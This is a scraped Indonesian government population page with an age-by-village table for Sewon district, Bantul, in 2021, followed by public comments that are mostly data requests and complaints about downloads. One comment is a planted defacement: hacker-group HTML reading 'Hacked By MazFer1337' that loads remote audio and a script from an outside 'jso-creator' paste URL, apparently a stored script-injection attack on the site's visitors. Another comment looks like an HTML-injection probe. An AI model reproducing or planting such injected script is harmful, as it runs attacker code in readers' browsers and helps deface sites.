Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN SEWON, KABUPATEN BANTUL, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaPENDOWOHARJOTIMBULHARJOBANGUNHARJOPANGGUNGHARJOTotal
LPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun236238 474254253 507311275 586302294 5961.103 1.060 2.163
2 tahun153140 293162127 289198180 378184201 385697 648 1.345
3 tahun178121 299179137 316200173 373206171 377763 602 1.365
4 tahun144134 278187130 317187209 396175175 350693 648 1.341
5 tahun156171 327164164 328196205 401210216 426726 756 1.482
6 tahun158128 286169184 353200206 406216192 408743 710 1.453
7 tahun170136 306152167 319208196 404220191 411750 690 1.440
8 tahun174158 332187158 345222196 418230191 421813 703 1.516
9 tahun175159 334182157 339219206 425230185 415806 707 1.513
10 tahun159156 315173154 327188206 394207216 423727 732 1.459
11 tahun143181 324179134 313209222 431232212 444763 749 1.512
12 tahun178183 361209183 392235193 428242203 445864 762 1.626
13 tahun178153 331182169 351206194 400234215 449800 731 1.531
14 tahun185174 359171154 325187187 374230222 452773 737 1.510
15 tahun167157 324168154 322200192 392238221 459773 724 1.497
16 tahun171169 340175147 322181142 323212184 396739 642 1.381
17 tahun173142 315158154 312165151 316187187 374683 634 1.317
18 tahun165151 316155168 323166197 363198205 403684 721 1.405
19 tahun170163 333174164 338202186 388201228 429747 741 1.488
20 tahun197149 346169160 329208176 384199231 430773 716 1.489
21 tahun222156 378162147 309207213 420230221 451821 737 1.558
22 tahun144158 302137148 285152172 324207174 381640 652 1.292
23 tahun140145 285160161 321192171 363201213 414693 690 1.383
24 tahun149162 311150153 303181171 352219180 399699 666 1.365
25 tahun162169 331148144 292171189 360178190 368659 692 1.351
26 tahun136157 293153159 312194183 377201207 408684 706 1.390
27 tahun177149 326161157 318201180 381187191 378726 677 1.403
28 tahun163158 321136155 291177216 393191203 394667 732 1.399
29 tahun167162 329183164 347200168 368192202 394742 696 1.438
30 tahun157148 305177147 324196163 359201200 401731 658 1.389
31 tahun139158 297159161 320199210 409191180 371688 709 1.397
32 tahun145185 330131165 296197172 369203182 385676 704 1.380
33 tahun154158 312179170 349168209 377192207 399693 744 1.437
34 tahun182130 312166172 338181196 377208209 417737 707 1.444
35 tahun151161 312162155 317189212 401219199 418721 727 1.448
36 tahun165152 317184189 373241209 450228233 461818 783 1.601
37 tahun165167 332206173 379206211 417236227 463813 778 1.591
38 tahun188174 362193219 412229234 463241252 493851 879 1.730
39 tahun184190 374200189 389238248 486247243 490869 870 1.739
40 tahun187218 405182170 352229217 446230233 463828 838 1.666
41 tahun185192 377179194 373213220 433253248 501830 854 1.684
42 tahun174184 358181188 369215236 451211232 443781 840 1.621
43 tahun176150 326187174 361227205 432223216 439813 745 1.558
44 tahun181170 351174157 331197200 397231225 456783 752 1.535
45 tahun179177 356186161 347243203 446228214 442836 755 1.591
46 tahun174147 321191158 349191174 365228198 426784 677 1.461
47 tahun152159 311148158 306175167 342195216 411670 700 1.370
48 tahun169195 364175158 333216238 454249227 476809 818 1.627
49 tahun158181 339162180 342172176 348191213 404683 750 1.433
50 tahun175180 355168168 336165182 347205218 423713 748 1.461
51 tahun173167 340193177 370205203 408205201 406776 748 1.524
52 tahun171168 339152172 324161194 355199224 423683 758 1.441
53 tahun177197 374161175 336192196 388231205 436761 773 1.534
54 tahun135166 301152154 306152161 313169180 349608 661 1.269
55 tahun174181 355160159 319169206 375190200 390693 746 1.439
56 tahun150152 302159157 316185171 356143198 341637 678 1.315
57 tahun160172 332155171 326162143 305210210 420687 696 1.383
58 tahun124171 295124157 281137176 313173166 339558 670 1.228
59 tahun129134 263142140 282140161 301152169 321563 604 1.167
60 tahun128128 256134129 263144160 304144183 327550 600 1.150
61 tahun123147 270126167 293142174 316167202 369558 690 1.248
62 tahun116128 244131123 254140149 289154174 328541 574 1.115
63 tahun117113 230128111 239125131 256151144 295521 499 1.020
64 tahun10894 202115118 233120117 237127132 259470 461 931
65 tahun9397 19097103 200127130 257136130 266453 460 913
66 tahun109108 2179878 17613686 22212594 219468 366 834
67 tahun9264 1566681 14710073 173107100 207365 318 683
68 tahun7875 1538876 1649375 1689188 179350 314 664
69 tahun6159 1206555 1208368 1516570 135274 252 526
70 tahun4776 1237555 1306861 1297581 156265 273 538
71 tahun5153 1044245 876061 1216746 113220 205 425
72 tahun4044 845043 933650 865550 105181 187 368
73 tahun3335 683747 843239 714049 89142 170 312
74 tahun2733 602740 672332 554139 80118 144 262
75 tahun3846 844566 1113955 943846 84160 213 373
76 tahun2750 773637 733444 782648 74123 179 302
77 tahun3228 602729 563524 593041 71124 122 246
78 tahun2739 664331 743039 693643 79136 152 288
79 tahun2226 483117 482125 462623 49100 91 191
80 ke atas165220 385177230 407141179 320158235 393641 864 1.505
Jumlah11.35711.32622.68311.66511.35523.02013.28213.22026.50214.30014.26428.564 50.604 50.165 100.769
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih